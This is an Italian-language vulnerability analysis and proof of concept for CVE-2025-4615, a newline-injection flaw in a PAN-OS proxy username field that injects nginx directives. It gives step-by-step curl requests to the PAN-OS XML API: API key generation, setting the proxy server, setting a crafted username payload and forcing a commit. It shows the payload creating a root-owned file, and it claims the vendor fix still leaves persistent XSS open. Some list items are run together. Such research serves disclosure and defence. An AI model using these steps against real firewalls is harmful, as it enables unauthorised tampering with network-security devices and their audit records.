
cve-2025-4615 PoC e analisi approfondita
Vulnerabilità: Neutralizzazione impropria dell'input nell'interfaccia web di gestione PAN-OS
Advisory del fornitore: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIUM) — Integrità HIGH, Disponibilità HIGH
CWE: CWE-83 (Neutralizzazione impropria degli script negli attributi di una pagina web)
CAPEC: CAPEC-165 (Manipolazione di file)
Credito: Visa Inc.
Data dell'analisi: 2026-03-26
CVE-2025-4615 è una vulnerabilità di iniezione di nuove righe nel campo di configurazione secure-proxy-user di Palo Alto Networks PAN-OS. Un amministratore autenticato può iniettare caratteri di nuova riga (\n) nel nome utente del proxy tramite l'API XML o l'interfaccia web. Durante il commit, questo valore viene scritto senza sanitizzazione in /etc/nginx/nginx.conf, fuoriuscendo da una riga di commento e iniettando direttive nginx arbitrarie.
Impatto:
access_log iniettataNota: La correzione del fornitore (rimozione dei caratteri di nuova riga) è incompleta — lo stesso campo rimane vulnerabile a Cross-Site Scripting (XSS) persistente perché non viene applicata alcuna codifica in uscita né una lista consentita di caratteri.
Il campo secure-proxy-user è definito nello schema PAN-OS (schema.xml) come una semplice stringa senza sanitizzazione dell'input:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Nota: secure-proxy-server ha un vincolo regex (regex="^([0-9a-zA-Z.:/_-])+$"), ma secure-proxy-user non ne ha nessuno. Esiste un limite di lunghezza di 31 caratteri, ma nessuna restrizione sui caratteri.
Durante il commit, PAN-OS rigenera /etc/nginx/nginx.conf a partire da un template (/etc/nginx/nginx.conf.tmpl). Il template contiene:
#pan_proxy_comment %s
Il segnaposto %s viene compilato dalla funzione della libreria libpanmp_mp.so che concatena server proxy, nome utente e password cifrata in un'unica stringa. Nella versione vulnerabile, i caratteri di nuova riga nel nome utente vengono trasmessi senza alcuna modifica.
Quando secure-proxy-user contiene a\naccess_log /tmp/pwn3;\n#, il nginx.conf generato diventa:
#pan_proxy_comment 8.8.8.9 a — Commento (innocuo)
access_log /tmp/pwn3; — DIRETTIVA INIETTATA (eseguita da nginx!)
# -AQ==password_cifrata== — Password commentata dal # iniettato
La riga 1 è un commento. La riga 2 è una direttiva nginx valida a livello di blocco http. La riga 3 viene neutralizzata dal carattere # dell'attaccante.
Il processo master di nginx viene eseguito come root. La direttiva access_log fa sì che nginx apra/crei il file di destinazione come root. Ciò consente:
Nella versione corretta (11.1.13), il writer di configurazione rimuove i caratteri di nuova riga dal nome utente del proxy prima di scriverlo in nginx.conf. Lo stesso valore malevolo produce:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==password_cifrata==
Tutto rimane su una sola riga, al sicuro all'interno del commento #.
Tuttavia, questa correzione è incompleta. Affronta solo l'iniezione di nuove righe. Il campo secure-proxy-user accetta ancora caratteri arbitrari (inclusi ", <, >) senza codifica in uscita, lasciando completamente aperto il vettore XSS persistente. Vedi unit-43-xss.
secure-proxy-server configurato (necessario affinché il commento del proxy appaia)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Totale: 26 caratteri (entro il limite di 31)
# Inietta: access_log /tmp/pwn3; — crea /tmp/pwn3 come root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Dopo il completamento del commit (~30s):
/tmp/pwn3 viene creato con proprietario rootnginx -t -c /etc/nginx/nginx.conf riporta: syntax is okIl valore non sanitizzato di secure-proxy-user si propaga a molteplici file:
| File | Impatto |
|---|---|
/etc/nginx/nginx.conf | Critico — iniezione di direttive nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Config del DB template (iniezione XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Corruzione della traccia di audit |
/opt/pancfg/mgmt/replaydb/replay.db | Corruzione del database di replay |
| Config dei demoni generati via XSL (authd, cord, useridd, ecc.) | Valore XML preservato con nuove righe |
I writer di curlrc (/root/.curlrc) e wgetrc (/root/.wgetrc) rimuovono invece le nuove righe, anche nella versione vulnerabile. Il writer di nginx.conf era l'unico percorso che non sanitizzava.
Test approfonditi di 11 vettori d'attacco hanno confermato che l'RCE autonoma a livello di sistema operativo derivante dal solo CVE-2025-4615 non è ottenibile su PAN-OS 11.1.6-h7 con nginx 1.20.1. I tre ostacoli critici:
\x0A in nginx — impedisce l'iniezione di nuove righe grezze nei file di log, bloccando l'iniezione in cron nonostante la tolleranza di vixie-cron verso righe di disturbo (confermato in laboratorio: cron esegue le righe valide circondate da dati di disturbo)log_format + access_log per ottenere il controllo del contenuto dei file scrittiL'«esecuzione di comandi arbitrari» dell'advisory si riferisce molto probabilmente a direttive nginx arbitrarie, non all'esecuzione di comandi a livello di sistema operativo. Ciò è coerente con il CVSS VC:N (nessun impatto sulla riservatezza) e con la natura della correzione.